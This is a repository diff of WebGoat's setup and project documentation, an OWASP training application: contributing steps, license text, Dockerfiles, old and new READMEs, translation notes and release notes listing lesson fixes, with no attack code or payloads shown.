+3. Clone your own repository to your host computer so that you can make modifications. If you followed the GitHub tutorial from step 2, you have already done this.
+4. Go to the newly cloned directory "WebGoat" and add the remote upstream repository:
+
+   ```bash
+   	$ git remote -v
+   	origin git@github.com:<your Github handle>/WebGoat.git (fetch)
+   	origin git@github.com:<your Github handle>/WebGoat.git (push)
+
+   	$ git remote add upstream git@github.com:WebGoat/WebGoat.git
+
+   	$ git remote -v
+   	origin git@github.com:<your Github handle>/WebGoat.git (fetch)
+   	origin git@github.com:<your Github handle>/WebGoat.git (push)
+   	upstream git@github.com:OWASP/WebGoat.git (fetch)
+   	upstream git@github.com:OWASP/WebGoat.git (push)
+   ```
+
+   See also the GitHub documentation on "[Configuring a remote for a fork](https://docs.github.com/en/free-pro-team@latest/github/collaborating-with-issues-and-pull-requests/configuring-a-remote-for-a-fork "Configuring a remote for a fork")".
+
+5. Choose what to work on, based on any of the outstanding [issues](https://github.com/WebGoat/WebGoat/issues "WebGoat Issues").
+
+6. Create a branch so that you can cleanly work on the chosen issue: `git checkout -b FixingIssue66`
+
+7. Open your favorite editor and start making modifications. We recommend using the [IntelliJ Idea](https://www.jetbrains.com/idea/).
+
+8. After your modifications are done, push them to your forked repository. This can be done by executing the command `git add MYFILE` for every file you have modified, followed by `git commit -m 'your commit message here'` to commit the modifications and `git push` to push your modifications to GitHub.
+
+9. Create a Pull Request (PR) by going to your fork, <https://github.com/Your_Github_Handle/WebGoat> and click on the "New Pull Request" button. The target branch should typically be the Master branch. When submitting a PR, be sure to follow the checklist that is provided in the PR template. The checklist itself will be filled out by the reviewer.
+
+10. Your PR will be reviewed and comments may be given. In order to process a comment, simply make modifications to the same branch as before and push them to your repository. GitHub will automatically detect these changes and add them to your existing PR.
+
+11. When starting on a new PR in the future, make sure to always keep your local repo up to date:
+
+    ```bash
+    $ git fetch upstream
+    $ git merge upstream/main
+    ```
+
+    See also the following article for further explanation on "[How to Keep a Downstream git Repository Current with Upstream Repository Changes](https://medium.com/sweetmeat/how-to-keep-a-downstream-git-repository-current-with-upstream-repository-changes-10b76fad6d97 "How to Keep a Downstream git Repository Current with Upstream Repository Changes")".
+
+If at any time you want to work on a different issue, you can simply switch to a different branch, as explained in step 5.
+
+> Tip: Don't try to work on too many issues at once though, as it will be a lot more difficult to merge branches the longer they are open.
+
+## What not to do
+
+Although we greatly appreciate any and all contributions to the project, there are a few things that you should take into consideration:
+
+* The WebGoat project should not be used as a platform for advertisement for commercial tools, companies or individuals. Write-ups should be written with free and open-source tools in mind and commercial tools are typically not accepted, unless as a reference in the security tools section.
+* Unnecessary self-promotion of tools or blog posts is frowned upon. If you have a relation with on of the URLs or tools you are referencing, please state so in the PR so that we can verify that the reference is in line with the rest of the guide.
+
+Please be sure to take a careful look at our [Code of Conduct](https://github.com/WebGoat/WebGoat/blob/master/CODE_OF_CONDUCT.md) for all the details.

COPYRIGHT.txt

@@ -0,0 +1,22 @@
+This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
+
+SPDX-License-Identifier: GPL-2.0-or-later
+
+Copyright (c) 2002 - 2016        Bruce Mayhew
+Copyright (c) 2014 - $today.year Nanne Baars
+
+This program is free software; you can redistribute it and/or modify it under the terms of the
+GNU General Public License as published by the Free Software Foundation; either version 2 of the
+License, or (at your option) any later version.
+
+This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+General Public License for more details.
+
+You should have received a copy of the GNU General Public License along with this program; if
+not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+02111-1307, USA.
+
+Getting Source ==============
+
+Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.

CREATE_RELEASE.md

@@ -0,0 +1,26 @@
+## Release WebGoat
+
+### Version numbers
+
+For WebGoat we use milestone releases first before we release the official version, we use `v2023.01` while tagging
+and 2023.01 in the `pom.xml`.
+
+### Release notes:
+
+Update the release notes with the correct version. Use `git shortlog -s -n --since "JAN 06 2023"` for the list of
+committers. In order to fetch the list of issues included use:
+`git log --graph --pretty='%C(auto)%d%Creset%s' v2023.4..origin/main`
+
+```
+mvn versions:set
+<< update release notes >>
+mvn verify
+git commit ....
+git tag v2023.01
+git push --tags
+git push
+```
+
+After the release has been tagged and the build process is done. The release notes should be updated in the GitHub
+release page.
+

Dockerfile

@@ -0,0 +1,40 @@
+# We need JDK as some of the lessons needs to be able to compile Java code
+FROM docker.io/eclipse-temurin:23-jdk-noble
+
+LABEL name="WebGoat: A deliberately insecure Web Application"
+LABEL maintainer="WebGoat team"
+
+RUN \
+  useradd -ms /bin/bash webgoat && \
+  chgrp -R 0 /home/webgoat && \
+  chmod -R g=u /home/webgoat
+
+USER webgoat
+
+COPY --chown=webgoat target/webgoat-*.jar /home/webgoat/webgoat.jar
+
+EXPOSE 8080
+EXPOSE 9090
+
+ENV TZ=Europe/Amsterdam
+
+WORKDIR /home/webgoat
+ENTRYPOINT [ "java", \
+   "-Duser.home=/home/webgoat", \
+   "-Dfile.encoding=UTF-8", \
+   "--add-opens", "java.base/java.lang=ALL-UNNAMED", \
+   "--add-opens", "java.base/java.util=ALL-UNNAMED", \
+   "--add-opens", "java.base/java.lang.reflect=ALL-UNNAMED", \
+   "--add-opens", "java.base/java.text=ALL-UNNAMED", \
+   "--add-opens", "java.desktop/java.beans=ALL-UNNAMED", \
+   "--add-opens", "java.desktop/java.awt.font=ALL-UNNAMED", \
+   "--add-opens", "java.base/sun.nio.ch=ALL-UNNAMED", \
+   "--add-opens", "java.base/java.io=ALL-UNNAMED", \
+   "--add-opens", "java.base/java.util=ALL-UNNAMED", \
+   "--add-opens", "java.base/sun.nio.ch=ALL-UNNAMED", \
+   "--add-opens", "java.base/java.io=ALL-UNNAMED", \
+   "-Drunning.in.docker=true", \
+   "-jar", "webgoat.jar", "--server.address", "0.0.0.0" ]
+
+HEALTHCHECK --interval=5s --timeout=3s \
+  CMD curl --fail http://localhost:8080/WebGoat/actuator/health || exit 1

Dockerfile_desktop

@@ -0,0 +1,47 @@
+FROM lscr.io/linuxserver/webtop:ubuntu-xfce
+LABEL name="WebGoat: A deliberately insecure Web Application"
+LABEL maintainer="WebGoat team"
+
+WORKDIR /config
+
+COPY target/webgoat-*.jar /config/webgoat.jar
+COPY config/desktop/start_webgoat.sh /config/start_webgoat.sh
+COPY config/desktop/start_zap.sh /config/start_zap.sh
+COPY config/desktop/WebGoat.txt /config/Desktop/
+
+RUN \
+ apt-get update &&  \
+ apt-get --yes install vim nano gzip
+
+RUN \
+ case $(uname -m) in \
+  x86_64) ARCH=x64;; \
+  aarch64) ARCH=aarch64;; \
+  *) ARCH=unknown;; \
+ esac && \
+ echo ${ARCH}
+
+RUN \
+ curl -LO https://github.com/zaproxy/zaproxy/releases/download/v2.15.0/ZAP_2.15.0_Linux.tar.gz && \
+ tar zfxv ZAP_2.15.0_Linux.tar.gz && \
+ rm -rf ZAP_2.15.0_Linux.tar.gz
+
+RUN \
+ case $(uname -m) in \
+  x86_64) ARCH=x64;; \
+  aarch64) ARCH=aarch64;; \
+  *) ARCH=unknown;; \
+ esac && \
+ echo "oeps == ${ARCH}==" && \
+ curl -L https://github.com/adoptium/temurin23-binaries/releases/download/jdk-23.0.1%2B11/OpenJDK23U-jre_"${ARCH}"_linux_hotspot_23.0.1_11.tar.gz -o java.tar.gz && \
+ tar zfxv java.tar.gz && \
+ rm -rf java.tar.gz && \
+ chmod +x /config/start_webgoat.sh && \
+ chmod +x /config/start_zap.sh && \
+ mv /config/jdk-23.0.1+11-jre /config/java-jdk && \
+ echo "JAVA_HOME=/config/java-jdk/" >> .bash_aliases && \
+ echo "PATH=$PATH:$JAVA_HOME/bin" >> .bash_aliases
+
+ENV JAVA_HOME=/config/java-jdk
+
+WORKDIR /config/Desktop

FAQ.md

@@ -0,0 +1,7 @@
+# FAQ for development
+
+## Introduction
+
+### Integration tests fail
+
+Try to run the command in the console `java -jar ...` and remove `-Dlogging.pattern.console=` from the command line.

LICENSE.txt

@@ -0,0 +1,22 @@
+This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
+
+SPDX-License-Identifier: GPL-2.0-or-later
+
+Copyright (c) 2002 - $today.year Bruce Mayhew
+Copyright (c) 2014 - $today.year Nanne Baars
+
+This program is free software; you can redistribute it and/or modify it under the terms of the
+GNU General Public License as published by the Free Software Foundation; either version 2 of the
+License, or (at your option) any later version.
+
+This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+General Public License for more details.
+
+You should have received a copy of the GNU General Public License along with this program; if
+not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+02111-1307, USA.
+
+Getting Source ==============
+
+Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.

PULL_REQUEST_TEMPLATE.md

@@ -0,0 +1 @@
+Thank you for submitting a pull request to the WebGoat!

README.MD

@@ -1,212 +0,0 @@
-# WebGoat: A deliberately insecure Web Application
-
-[![Build Status](https://travis-ci.org/WebGoat/WebGoat.svg?branch=develop)](https://travis-ci.org/WebGoat/WebGoat)
-[![Coverage Status](https://coveralls.io/repos/WebGoat/WebGoat/badge.svg?branch=master&service=github)](https://coveralls.io/github/WebGoat/WebGoat?branch=master)
-[![Codacy Badge](https://api.codacy.com/project/badge/b69ee3a86e3b4afcaf993f210fccfb1d)](https://www.codacy.com/app/dm/WebGoat)
-[![Dependency Status](https://www.versioneye.com/user/projects/562da95ae346d7000e0369aa/badge.svg?style=flat)](https://www.versioneye.com/user/projects/562da95ae346d7000e0369aa)
-[![OWASP Labs](https://img.shields.io/badge/owasp-labs-orange.svg)](https://www.owasp.org/index.php/OWASP_Project_Inventory#tab=Labs_Projects)
-
-# Important Information
-
-### The WebGoat Lesson Server, is currently **UNDER MAJOR DEVELOMENT**.
-As of February 1st 2016, the version "7.0.1" is considered the first **STABLE** version of a major architecture and UI changes.
-
-#### Older/Legacy version of WebGoat an be found at: [WebGoat-Legacy](https://github.com/WebGoat/WebGoat-Legacy)
-
-WebGoat is a deliberately insecure web application maintained by [OWASP](http://www.owasp.org/) designed to teach web
-application security lessons.
-
-This program is a demonstration of common server-side application flaws. The
-exercises are intended to be used by people to learn about application security and
-penetration testing techniques.
-
-* [Home Page](http://webgoat.github.io)
-* [OWASP Project Home Page](http://www.owasp.org/index.php/Category:OWASP_WebGoat_Project)
-* [Source Code](https://github.com/WebGoat/WebGoat)
-* [Easy-Run Download](https://s3.amazonaws.com/webgoat-war/webgoat-container-7.0.1-war-exec.jar)
-* [Wiki](https://github.com/WebGoat/WebGoat/wiki)
-* [FAQ (old info):](http://code.google.com/p/webgoat/wiki/FAQ)
-* [Project Leader - Direct to Bruce Mayhew](mailto:webgoat@owasp.org)
-* [Mailing List - WebGoat Community - For most questions](mailto:owasp-webgoat@lists.owasp.org)
-* [Artifacts generated from Continuous Integration](http://webgoat-war.s3-website-us-east-1.amazonaws.com/)
-* [Output from our Travis.CI Build server](https://travis-ci.org/WebGoat/WebGoat)
-
-**WARNING 1:** *While running this program your machine will be extremely
-vulnerable to attack. You should to disconnect from the Internet while using
-this program.*  WebGoat's default configuration binds to localhost to minimize 
-the exposure.
-
-**WARNING 2:** *This program is for educational purposes only. If you attempt
-these techniques without authorization, you are very likely to get caught. If
-you are caught engaging in unauthorized hacking, most companies will fire you.
-Claiming that you were doing security research will not work as that is the
-first thing that all hackers claim.*
-
-# Easy Run ( For non-developers )
-
-Every successful build of the WebGoat Lessons Container and the WebGoat Lessons in our Continuous Integration Server
-creates an "Easy Run" Executable JAR file, which contains the WebGoat Lessons Server, the lessons and a embedded Tomcat server.
-
-You can check for the "Last Modified" date of our "Easy Run" jar file [HERE](http://webgoat-war.s3-website-us-east-1.amazonaws.com/)
-
-The "Easy Run" JAR file offers a no hassle approach to testing and running WebGoat. Follow these instructions if you
-wish to simply try/test/run the current development version of WebGoat
-
-### Prerequisites:
-* Java VM 1.8
-
-## Standalone
-
-#### 1. Download the easy run executable jar file which contains all the lessons and a embedded Tomcat server:
-
-https://s3.amazonaws.com/webgoat-war/webgoat-standalone-7.1-SNAPSHOT-exec.jar
-
-#### 2. Run it using java:
-
-Open a command shell/window, browse to where you downloaded the easy run jar and type:
-
-```Shell
-java -jar webgoat-standalone-7.0.1-exec.jar [-p | --p <port>] [-a | --address <address>]
-```
-
-Using the `--help` option will show the allowed command line arguments.
-
-#### 3. Browse to the url shown in the console and happy hacking !
-
-## Vagrant
-
-To run WebGoat with Vagrant you must first have Vagrant and Virtualbox installed.
-
-```shell
-   $ cd WebGoat/webgoat-images/vagrant-users
-   $ vagrant up
-```
-
-Once you see the message 'Browse to http://localhost:9999/WebGoat and happy hacking! you can open a
-browser.
-
-
-# For Developers
-
-## Vagrant
-
-For an easy development experience you can use Vagrant. Note you should have Vagrant and Virtualbox installed on your system.
-
-```shell
-   $ cd WebGoat/webgoat-images/vagrant-developers
-   $ vagrant up
-```
-
-Once the provisioning is complete login to the Virtualbox with username vagrant and password vagrant.
-The source code will be available in the home directory.
-
-## Set up manual
-
-Follow these instructions if you wish to run Webgoat and modify the source code as well.
-
-### Prerequisites:
-
-* Java 1.8
-* Maven > 2.0.9
-* Your favorite IDE, with Maven awareness: Netbeans/IntelliJ/Eclipse with m2e installed.
-* Git, or Git support in your IDE
-
-## The Easy Way: Developer Edition run using Linux or Mac
-The __webgoat_developer_bootstrap.sh__ script will clone the necessary repositories, call the maven goals in order
-launch Tomcat listening on localhost:8080
-
-```Shell
-mkdir WebGoat-Workspace
-cd WebGoat-Workspace
-curl -o webgoat_developer_bootstrap.sh https://raw.githubusercontent.com/WebGoat/WebGoat/master/webgoat_developer_bootstrap.sh
-./webgoat_developer_bootstrap.sh
-```
-
-## The Manual Way: Developer Edition!
-
-#### Cloning the Lesson Server and the Lessons project:
-
-Open a command shell/window, navigate to where you wish to download the source and type:
-
-```Shell
-git clone https://github.com/WebGoat/WebGoat.git
-git clone https://github.com/WebGoat/WebGoat-Lessons.git
-```
-
-#### Now let's start by compiling the WebGoat Lessons server.
-
-```Shell
-cd WebGoat
-git checkout develop
-mvn clean compile install
-cd ..
-```
-
-#### Before you can run the project, we need to compile the lessons and copy them over:
-**If you don't run this step, you will not have any Lessons to work with!**
-
-```Shell
-cd WebGoat-Lessons
-git checkout develop
-mvn package
-(linux)   cp target/plugins/*.jar ../WebGoat/webgoat-container/src/main/webapp/plugin_lessons/
-(windows) xcopy "target\plugins\*.jar" "..\WebGoat\webgoat-container\src\main\webapp\plugin_lessons\"
-cd ..
-```
-
-#### Now we are ready to run the project. There are 3 options you can choose from to run the project:
-
-Then you can run the project with one of the steps below (From the WebGoat folder not WebGoat-Lessons):
-
-#### Option #1: Using the Maven-Tomcat Plugin
-The __maven tomcat7:run-war__ goal runs the project in an embedded tomcat:
-
-```Shell
-cd WebGoat
-mvn -pl webgoat-container tomcat7:run-war
-```
-
-Browse to [http://localhost:8080/WebGoat](http://localhost:8080/WebGoat) and happy hacking !
-
-#### Option #2: Java executable JAR
-The __maven package__ goal generates an executable .jar file:
-
-```Shell
-cd WebGoat
-mvn package
-cd webgoat-standalone/target
-java -jar webgoat-standalone-7.1-SNAPSHOT-exec.jar [-p | --p <port>] [-a | --address <address>]
-```
-
-Browse to url shown in the console and happy hacking !
-
-#### Option #3: Deploy the WebGoat WAR file in your local Tomcat or other Application Server:
-The __maven package__ goal generates a .war file that can deployed into an Application Server, such as Tomcat
-
-```Shell
-cd WebGoat
-mvn package
-cp webgoat-container/target/webgoat-container-7.1-SNAPSHOT.war <your_tomcat_directory>/webapps/
-```
-
-Browse to [http://localhost:8080/WebGoat](http://localhost:8080/WebGoat) and happy hacking !
-
-# Debugging and Troubleshooting
-
-## Reloading plugins and lessons
-
-If you want to __reload all the plugin and lessons__, open a new browser tab and visit the following url:
-
-[http://localhost:8080/WebGoat/service/reloadplugins.mvc](http://localhost:8080/WebGoat/service/reloadplugins.mvc)
-
-After the plugin reload is complete, _reloading a message_ will appear and you can refresh the __main WebGoat browser tab__.
-
-## Debugging label properties
-
-To be able to see which labels are loaded through a property file, open a new browser tab and visit the following url:
-
-[http://localhost:8080/WebGoat/service/debug/labels.mvc](http://localhost:8080/WebGoat/service/debug/labels.mvc)
-
-Switch back to the main WebGoat broswer tab and __reload the main WebGoat browser tab__.
-
-After the reload is complete, all labels which where loaded from a property file will be __marked green__.

README.md

@@ -0,0 +1,165 @@
+# WebGoat: A deliberately insecure Web Application
+
+[![Build](https://github.com/WebGoat/WebGoat/actions/workflows/build.yml/badge.svg?branch=develop)](https://github.com/WebGoat/WebGoat/actions/workflows/build.yml)
+[![java-jdk](https://img.shields.io/badge/java%20jdk-23-green.svg)](https://jdk.java.net/)
+[![OWASP Labs](https://img.shields.io/badge/OWASP-Lab%20project-f7b73c.svg)](https://owasp.org/projects/)
+[![GitHub release](https://img.shields.io/github/release/WebGoat/WebGoat.svg)](https://github.com/WebGoat/WebGoat/releases/latest)
+[![Gitter](https://badges.gitter.im/OWASPWebGoat/community.svg)](https://gitter.im/OWASPWebGoat/community?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge)
+[![Discussions](https://img.shields.io/github/discussions/WebGoat/WebGoat)](https://github.com/WebGoat/WebGoat/discussions)
+[![Conventional Commits](https://img.shields.io/badge/Conventional%20Commits-1.0.0-%23FE5196?logo=conventionalcommits&logoColor=white)](https://conventionalcommits.org)
+
+# Introduction
+
+WebGoat is a deliberately insecure web application maintained by [OWASP](http://www.owasp.org/) designed to teach web
+application security lessons.
+
+This program is a demonstration of common server-side application flaws. The
+exercises are intended to be used by people to learn about application security and
+penetration testing techniques.
+
+**WARNING 1:** *While running this program your machine will be extremely
+vulnerable to attack. You should disconnect from the Internet while using
+this program.*  WebGoat's default configuration binds to localhost to minimize
+the exposure.
+
+**WARNING 2:** *This program is for educational purposes only. If you attempt
+these techniques without authorization, you are very likely to get caught. If
+you are caught engaging in unauthorized hacking, most companies will fire you.
+Claiming that you were doing security research will not work as that is the
+first thing that all hackers claim.*
+
+![WebGoat](docs/images/webgoat.png)
+
+# Installation instructions:
+
+For more details check [the Contribution guide](/CONTRIBUTING.md)
+
+## 1. Run using Docker
+
+Already have a browser and ZAP and/or Burp installed on your machine in this case you can run the WebGoat image directly using Docker.
+
+Every release is also published on [DockerHub](https://hub.docker.com/r/webgoat/webgoat).
+
+```shell
+docker run -it -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 webgoat/webgoat
+```
+
+For some lessons you need the container run in the same timezone. For this you can set the TZ environment variable.
+E.g.
+
+```shell
+docker run -it -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e TZ=America/Boise webgoat/webgoat
+```
+
+If you want to use OWASP ZAP or another proxy, you can no longer use 127.0.0.1 or localhost. but
+you can use custom host entries. For example:
+
+```shell
+127.0.0.1 www.webgoat.local www.webwolf.local
+```
+
+Then you can run the container with:
+
+```shell
+docker run -it -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e WEBGOAT_HOST=www.webgoat.local -e WEBWOLF_HOST=www.webwolf.local -e TZ=America/Boise webgoat/webgoat
+```
+
+Then visit http://www.webgoat.local:8080/WebGoat/ and http://www.webwolf.local:9090/WebWolf/
+
+## 2. Run using Docker with complete Linux Desktop
+
+Instead of installing tools locally we have a complete Docker image based on running a desktop in your browser. This way you only have to run a Docker image which will give you the best user experience.
+
+```shell
+docker run -p 127.0.0.1:3000:3000 webgoat/webgoat-desktop
+```
+
+## 3. Standalone
+
+Download the latest WebGoat release from [https://github.com/WebGoat/WebGoat/releases](https://github.com/WebGoat/WebGoat/releases)
+
+```shell
+export TZ=Europe/Amsterdam # or your timezone
+java -Dfile.encoding=UTF-8 -jar webgoat-2023.8.jar
+```
+
+Click the link in the log to start WebGoat.
+
+### 3.1 Running on a different port
+
+If for some reason you want to run WebGoat on a different port, you can do so by adding the following parameter:
+
+```shell
+java -jar webgoat-2023.8.jar --webgoat.port=8001 --webwolf.port=8002
+```
+
+For a full overview of all the parameters you can use, please check the [WebGoat properties file](webgoat-container/src/main/resources/application-{webgoat, webwolf}.properties).
+
+## 4. Run from the sources
+
+### Prerequisites:
+
+* Java 23
+* Your favorite IDE
+* Git, or Git support in your IDE
+
+Open a command shell/window:
+
+```Shell
+git clone git@github.com:WebGoat/WebGoat.git
+```
+
+Now let's start by compiling the project.
+
+```Shell
+cd WebGoat
+git checkout <<branch_name>>
+# On Linux/Mac:
+./mvnw clean install
+
+# On Windows:
+./mvnw.cmd clean install
+
+# Using docker or podman, you can than build the container locally
+docker build -f Dockerfile . -t webgoat/webgoat
+```
+
+Now we are ready to run the project. WebGoat is using Spring Boot.
+
+```Shell
+# On Linux/Mac:
+./mvnw spring-boot:run
+# On Windows:
+./mvnw.cmd spring-boot:run
+
+```
+
+... you should be running WebGoat on http://localhost:8080/WebGoat momentarily.
+
+Note: The above link will redirect you to login page if you are not logged in. LogIn/Create account to proceed.
+
+To change the IP address add the following variable to the `WebGoat/webgoat-container/src/main/resources/application.properties` file:
+
+```
+server.address=x.x.x.x
+```
+
+## 4. Run with custom menu
+
+For specialist only. There is a way to set up WebGoat with a personalized menu. You can leave out some menu categories or individual lessons by setting certain environment variables.
+
+For instance running as a jar on a Linux/macOS it will look like this:
+
+```Shell
+export TZ=Europe/Amsterdam # or your timezone
+export EXCLUDE_CATEGORIES="CLIENT_SIDE,GENERAL,CHALLENGE"
+export EXCLUDE_LESSONS="SqlInjectionAdvanced,SqlInjectionMitigations"
+java -jar target/webgoat-2023.8-SNAPSHOT.jar
+```
+
+Or in a docker run it would (once this version is pushed into docker hub) look like this:
+
+```Shell
+docker run -d -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e EXCLUDE_CATEGORIES="CLIENT_SIDE,GENERAL,CHALLENGE" -e EXCLUDE_LESSONS="SqlInjectionAdvanced,SqlInjectionMitigations" webgoat/webgoat
+```
+

README_I18N.md

@@ -0,0 +1,34 @@
+# Multi language support in WebGoat
+
+WebGoat is mainly written in English, but it does support multiple languages.
+
+## Default language selection
+
+1. Current supported languages are: en, fr, de, nl
+2. The primary language is based on the language setting of the browser.
+3. If the language is not in the list of supported language, the language is English
+4. Once logged in, you can switch between the supported languages using a language dropdown menu on the main page
+   1. After switching a language you are back at the Introduction page
+
+## Adding a new language
+
+The following steps are required when you want to add a new language
+
+1. Update [main_new.html](src/main/resources/webgoat/static/main_new.html)
+   1. Add the parts for showing the flag and providing the correct value for the flag= parameter
+      2.
+2. Add a flag image to src/main/resources/webgoat/static/css/img
+   1. See the main_new.html for a link to download flag resources
+3. Add a welcome page to the introduction lesson
+   1. Copy Introduction_.adoc to Introduction_es.adoc (if in this case you want to add Spanish)
+   2. Add a highlighted section that explains that most parts of WebGoat will still be in English and invite people to translate parts where it would be valuable
+4. Translate the main labels
+   1. Copy messages.properties to messages_es.properties (if in this case you want to add Spanish)
+   2. Translate the label values
+5. Optionally translate lessons by
+   1. Adding lang specifc adoc files in documentation folder of the lesson
+   2. Adding WebGoatLabels.properties of a specific language if you want to
+6. Run mvn clean to see if the LabelAndHintIntegration test passes
+7. Run WebGoat and verify that your own language and the other languages work as expected
+
+If you only want to translate more for a certain language, you only need to do step 4-8

RELEASE_NOTES.md

@@ -0,0 +1,308 @@
+# WebGoat release notes
+
+## Version 2025.3
+
+### 🐞 Bug fixes
+
+- Changed URLs imply other exclusion filters for ZAP (#2052)
+- XSS lesson stage 12 (2 issues) (#1178)
+
+### 🔄 Technical tasks
+
+- bump docker/setup-qemu-action from 3.4.0 to 3.6.0 (#2049)
+- bump docker/build-push-action from 6.14.0 to 6.15.0 (#2050)
+
+## Version 2025.2
+
+### 🐞 Bug fixes
+
+- Fix SQL advanced lesson assignment 5 (#2047)
+
+## Version 2025.1
+
+### 🚀 New functionality
+
+- Introduce Playwright for UI testing
+- Refactoring of core code
+
+### 🐞 Bug fixes
+
+- Introduce assignment progress (#2043)
+- Add test case for multiple users solving lessons (#2043)
+- Register user while already logged in as other user. (#2042)
+- Small updates and improvements in HTTP Basic lesson (#2024)
+- Improve HTTP basics lesson
+- Solve compiler warnings
+- Cleanup attack result and builder
+- Format all code according to SPDX
+- Fixed one invalid solution about CSRF attack (#2010)
+- Reset a lesson no longer removes all assignments
+- Hint labels showing default text regardless of localization (#1965)
+- Automatically solve XSS mitigation (#1957)
+- Remove implicit context path guessing (#1956)
+- JWT kid/jku lessons (#1949)
+- Fix password reset lesson (#1941)
+- Fix passing command line arguments (#1933)
+- Use banners correctly
+- Show boolean operators priority on `where` (#1902)
+- Remove WebGoat session object (#1929)
+- Reset form and quiz color on reset lesson (#1903)
+- XSS lesson typo
+- Copying file using `transferTo` sometimes fails. (#1862)
+- Fix report card (#1845)
+- Success if only Smith earn most salary (#1744)
+- Update HttpBasics_plan.adoc - fix broken link to https://www.zaproxy.org/ (#1803)
+- Move CSRF to A3 (#1776)
+- Fix typo in SQLi blind case
+- Use $ instead of jQuery which is undefined (#1736)
+- Fix hidden links in MissingFunctionAC.html. (#1710)
+
+### 🔄 Technical tasks
+
+- Lots of dependency updates
+
+## Contributors
+
+Special thanks to the following contributors providing us with a pull request:
+
+- François Capon
+- GoogTech HackHuang
+- Peter Potrowl
+- cap-dev0x
+- Benjamin Mouncer
+- Jeong Rok Suh
+- Rui Melo
+- Vandeputte Brice
+
+## Version 2023.8
+
+### 🚀 New functionality
+
+- Consistent environment values and url references (#1677)
+- Show directly requested file in requests overview
+- Show creating time in file upload overview
+
+### 🐞 Bug fixes
+
+- Fix startup message (#1687)
+- Fix/state of software supply chain links (#1683)
+- Fix WebWolf UI (#1686)
+
+### 🔄 Technical tasks
+
+- bump actions/setup-java from 3 to 4 (#1690)
+- bump commons-io:commons-io from 2.14.0 to 2.15.1 (#1689)
+- bump com.diffplug.spotless:spotless-maven-plugin (#1688)
+
+## Version 2023.5
+
+### New functionality
+
+- Implement JWT jku example (#1552)
+- Java 21 initial support (#1622)
+- improve MFAC lesson hint texts for a better user experience (#1424)
+- upgrade to Spring Boot version 3 (#1477)
+
+### Bug fixes
+
+- typo in WebGoad.txt (#1667)
+- search box moved and jwt encode/decode with little delay (#1664)
+- skip validation for JWT (#1663)
+- fixed issue in JWT test tool and added robot test (#1658)
+- Password reset link test condition more strict and move all WebWolf links to /WebWolf  (#1645)
+- fix servers id (#1619)
+- potential NPE in the stored XSS assignment
+- crypto basics broken links
+- fixes the default change in trailing slash matching and address the affected assignments
+- hint that was breaking the template, causing hints from different assignments to mix (#1424)
+- HijackSession lesson template deprecated Tymeleaf attribute
+- Fix NPE in IDOR lesson
+- Add new assignment IT tests
+- XSS mitigation
+- Stored Cross-Site Scripting Lesson
+- Add Assignment7 Tests
+- Fix IDOR lesson
+- remove steps from release script (#1509)
+- robotframework fails due to updated dependencies (#1508)
+- fix Java image inside Docker file The image now downloads the correct Java version based on the architecture.
+- Fix typo of HijackSession_content0.adoc
+- Restrict SSRF Regexes
+- update challenge code - Flags are now wired through a Spring config - Introduced Flag class - Removed Flags from the
+  FlagController
+
+## Version 2023.4
+
+### New functionality
+
+- [#1422 Add Docker Linux Desktop variant with all tools installed](https://github.com/WebGoat/WebGoat/issues/1422).
+  Thanks to the [OWASP WrongSecrets project](https://owasp.org/www-project-wrongsecrets/) we now have a Docker Linux
+  desktop image with all the tools installed. No need to install any tools locally only run the new Docker image. See
+  README.md for details on how to start it.
+- [#1411 JWT: looks that buy as Tom also works with alg:none](https://github.com/WebGoat/WebGoat/issues/1411).
+
+### Bug fixes
+
+- [#1410 WebWolf: JWT decode is broken](https://github.com/WebGoat/WebGoat/issues/1410).
+- [#1396 password_reset return 500 Error](https://github.com/WebGoat/WebGoat/issues/1396).
+- [#1379 Move XXE to A05:2021-Security Misconfiguration](https://github.com/WebGoat/WebGoat/issues/1379).
+
+## Version 2023.3
+
+With great pleasure, we present you with a new release of WebGoat **2023.3**. Finally, it has been a while. This year
+starts with a new release of WebGoat. This year we will undoubtedly release more often. From this release on, we began
+to use a new versioning scheme (https://calver.org/#scheme).
+
+A big thanks to René Zubcevic and Àngel Ollé Blázquez for keeping the project alive this last year, and hopefully, we
+can make
+many more releases this year.
+
+### New functionality
+
+- New year's resolution(2022): major refactoring of WebGoat to simplify the setup and improve building times.
+- Move away from multi-project setup:
+  * This has a huge performance benefit when building the application. Build time locally is now
+    `Total time:  42.469 s` (depends on your local machine of course)
+  * No longer add Maven dependencies in several places
+  * H2 no longer needs to run as separate process, which solves the issue of WebWolf sharing and needing to configure
+    the correct database connection.
+- More explicit paths in html files to reference `adoc` files, less magic.
+- Integrate WebWolf in WebGoat, the setup was way too complicated and needed configuration which could lead to mistakes
+  and a not working application. This also simplifies the Docker configuration as there is only 1 Docker image.
+- Add WebWolf button in WebGoat
+- Move all lessons into `src/main/resources`
+- WebGoat selects a port dynamically when starting. It will still start of port 8080 it will try another port to ease
+  the user experience.
+- WebGoat logs URL after startup: `Please browse to http://127.0.0.1:8080/WebGoat to get started...`
+- Simplify `Dockerfile` as we no longer need a script to start everything
+- Maven build now start WebGoat jar with Maven plugin to make sure we run against the latest build.
+- Added `Initializable` interface for a lesson, an assignment can implement this interface to set it up for a specific
+  user and to reset the assignment back to its original state when a reset lesson occurs. See `BlindSendFileAssignment`
+  for an example.
+- Integration tests now use the same user. This saves a lot of time as before every test used a different user which
+  triggered the Flyway migration to set up the database schema for the user. This migration took a lot of time.
+- Updated introduction lesson to WebWolf.
+- Added language switch for support for multiple languages.
